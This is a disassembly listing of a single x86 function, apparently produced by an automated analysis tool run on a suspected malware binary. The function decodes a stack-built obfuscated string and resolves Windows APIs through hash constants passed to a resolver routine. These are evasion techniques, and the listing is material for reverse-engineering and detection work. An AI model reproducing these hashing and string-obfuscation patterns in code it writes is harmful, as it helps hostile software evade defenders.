Function at 0x10012970
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x6c
push ebx
push esi
push edi
mov edi, ecx
mov esi, edx
mov edx, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
push edi
mov dword [ebp - 4], edi
call fcn.10010300
add esp, 4
test eax, eax
jne 0x10012b72
push 0x33
push 0xc6c4f37a
lea edx, [eax + 0xf]
call fcn.10004ff0
add esp, 8
call eax
mov byte [ebp - 0x68], 0
mov ebx, eax
mov byte [ebp - 0x67], 0x21
mov byte [ebp - 0x66], 0x5f
mov byte [ebp - 0x65], 0x40
mov byte [ebp - 0x64], 0x5f
mov byte [ebp - 0x63], 0x7c
mov byte [ebp - 0x62], 0x5f
mov byte [ebp - 0x61], 0x15
mov byte [ebp - 0x60], 0x5f
mov byte [ebp - 0x5f], 0x36
mov byte [ebp - 0x5e], 0x5f
mov byte [ebp - 0x5d], 0x12
mov byte [ebp - 0x5c], 0x5f
mov byte [ebp - 0x5b], 0x79
mov byte [ebp - 0x5a], 0x5f
mov byte [ebp - 0x59], 0x66
mov byte [ebp - 0x58], 0x5f
mov byte [ebp - 0x57], 0x7c
mov byte [ebp - 0x56], 0x5f
mov byte [ebp - 0x55], 0x12
mov byte [ebp - 0x54], 0x5f
mov byte [ebp - 0x53], 0x20
mov byte [ebp - 0x52], 0x5f
mov byte [ebp - 0x51], 0x66
mov byte [ebp - 0x50], 0x5f
mov byte [ebp - 0x4f], 0x26
mov byte [ebp - 0x4e], 0x5f
mov byte [ebp - 0x4d], 0x12
mov byte [ebp - 0x4c], 0x5f
mov byte [ebp - 0x4b], 0x30
mov byte [ebp - 0x4a], 0x5f
mov byte [ebp - 0x49], 0x46
mov byte [ebp - 0x48], 0x5f
mov byte [ebp - 0x47], 0x23
mov byte [ebp - 0x46], 0x5f
mov byte [ebp - 0x45], 0x12
mov byte [ebp - 0x44], 0x5f
mov byte [ebp - 0x43], 0x30
mov byte [ebp - 0x42], 0x5f
mov byte [ebp - 0x41], 0xd
mov byte [ebp - 0x40], 0x5f
mov byte [ebp - 0x3f], 0x69
mov byte [ebp - 0x3e], 0x5f
mov byte [ebp - 0x3d], 0x66
mov byte [ebp - 0x3c], 0x5f
mov byte [ebp - 0x3b], 0x12
mov byte [ebp - 0x3a], 0x5f
mov byte [ebp - 0x39], 2
mov byte [ebp - 0x38], 0x5f
mov byte [ebp - 0x37], 0x6c
mov byte [ebp - 0x36], 0x5f
mov byte [ebp - 0x35], 0x18
mov byte [ebp - 0x34], 0x5f
mov byte [ebp - 0x33], 0x12
mov byte [ebp - 0x32], 0x5f
mov byte [ebp - 0x31], 0x47
mov byte [ebp - 0x30], 0x5f
mov byte [ebp - 0x2f], 0x66
mov byte [ebp - 0x2e], 0x5f
mov byte [ebp - 0x2d], 0x36
mov byte [ebp - 0x2c], 0x5f
mov byte [ebp - 0x2b], 0x37
mov byte [ebp - 0x2a], 0x5f
mov byte [ebp - 0x29], 0x40
mov byte [ebp - 0x28], 0x5f
mov byte [ebp - 0x27], 0x6c
mov byte [ebp - 0x26], 0x5f
mov byte [ebp - 0x25], 0x36
mov byte [ebp - 0x24], 0x5f
mov byte [ebp - 0x23], 0x34
mov byte [ebp - 0x22], 0x5f
mov byte [ebp - 0x21], 0x23
mov byte [ebp - 0x20], 0x5f
mov byte [ebp - 0x1f], 0x23
mov byte [ebp - 0x1e], 0x5f
mov byte [ebp - 0x1d], 0x46
mov byte [ebp - 0x1c], 0x5f
mov byte [ebp - 0x1b], 0x23
mov byte [ebp - 0x1a], 0x5f
mov byte [ebp - 0x19], 0x12
mov byte [ebp - 0x18], 0x5f
mov byte [ebp - 0x17], 0x67
mov byte [ebp - 0x16], 0x5f
mov byte [ebp - 0x15], 0x12
mov byte [ebp - 0x14], 0x5f
mov byte [ebp - 0x13], 2
mov byte [ebp - 0x12], 0x5f
mov byte [ebp - 0x11], 0x69
mov byte [ebp - 0x10], 0x5f
mov byte [ebp - 0xf], 0
mov byte [ebp - 0xe], 0x5f
mov byte [ebp - 0xd], 0x5f
mov byte [ebp - 0xc], 0x5f
mov al, byte [ebp - 0x67]
cmp byte [ebp - 0x68], 0
jne 0x10012b5a
xor esi, esi
lea edi, [esi + 0x7f]
nop
mov al, byte [ebp + esi - 0x67]
mov ecx, 0x5f
movzx eax, al
sub ecx, eax
lea eax, [ecx + ecx*4]
shl eax, 3
cdq
idiv edi
lea eax, [edx + 0x7f]
cdq
idiv edi
mov byte [ebp + esi - 0x67], dl
inc esi
cmp esi, 0x5c
jb 0x10012b30
mov edi, dword [ebp - 4]
push ebx
push dword [edi]
lea eax, [ebp - 0x67]
push eax
call fcn.10015ab0
add esp, 0xc
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, edi
call fcn.10011170
test eax, eax
je 0x10012b69
mov ecx, dword [edi]
call fcn.10008b80
test eax, eax
je 0x10012bae
push 0
mov dl, 0x24
mov ecx, edi
call fcn.10010470
add esp, 4
test eax, eax
je 0x10012b69
sub esp, 8
mov edx, esi
mov ecx, edi
call fcn.10012830
add esp, 8
jmp 0x10012c65
mov ecx, dword [edi]
call fcn.1000f350
test eax, eax
je 0x10012bd2
push 0x14
mov dl, 0x25
mov ecx, edi
call fcn.10010470
add esp, 4
test eax, eax
je 0x10012b69
push 0x14
jmp 0x10012c56
mov ecx, dword [edi + 0xc]
mov eax, dword [edi + 8]
test ecx, ecx
jg 0x10012c32
jl 0x10012be5
cmp eax, 0x100000
ja 0x10012bfe
push 0
mov dl, 0x24
mov ecx, edi
call fcn.10010470
add esp, 4
test eax, eax
jne 0x10012b9a
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
test ecx, ecx
jg 0x10012c32
jl 0x10012c0b
cmp eax, 0x500000
ja 0x10012c32
push 0
mov dl, 0x26
mov ecx, edi
call fcn.10010470
add esp, 4
test eax, eax
je 0x10012b69
sub esp, 8
mov edx, esi
mov ecx, edi
call fcn.10012270
add esp, 8
jmp 0x10012c65
movzx eax, byte [0x1002d754]
mov dl, 0x25
push eax
mov ecx, edi
call fcn.10010470
add esp, 4
test eax, eax
je 0x10012b69
movzx eax, byte [0x1002d754]
push eax
sub esp, 8
mov edx, esi
mov ecx, edi
call fcn.100123a0
add esp, 0xc
mov ebx, eax
test ebx, ebx
je 0x10012d01
mov esi, dword [edi + 4]
mov edx, 0xf
push 0x59
push 0x3d7344ad
call fcn.10004ff0
add esp, 8
push esi
call eax
mov eax, dword [edi]
push 0x7fd7
mov dword [edi + 4], 0xffffffff
mov dword [ebp - 4], eax
call fcn.1001d2b7
mov esi, eax
add esp, 4
test esi, esi
je 0x10012d01
push 2
push 0xc19818f2
mov edx, 0xf
call fcn.10004ff0
add esp, 8
push dword [ebp - 4]
push esi
call eax
push 0xe
push 0xadf1acd3
mov edx, 0xf
call fcn.10004ff0
add esp, 8
push str..EYUTA
push esi
call eax
push 0x4f
push 0xad54e21d
mov edx, 0xf
call fcn.10004ff0
add esp, 8
push esi
push dword [ebp - 4]
call eax
push esi
call fcn.1001d2c2
add esp, 4
mov ecx, 0x20
lea eax, [edi + 0x58]
nop dword [eax]
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x10012d10
mov ecx, 8
lea eax, [edi + 0x50]
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x10012d23
mov esi, dword [edi + 4]
cmp esi, 0xffffffff
je 0x10012d52
push 0x59
push 0x3d7344ad
lea edx, [ecx + 0xf]
call fcn.10004ff0
add esp, 8
push esi
call eax
mov dword [edi + 4], 0xffffffff
mov eax, 0x20c
add edi, 0x78
nop word [eax + eax]
mov byte [edi], 0
lea edi, [edi + 1]
sub eax, 1
jne 0x10012d60
pop edi
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret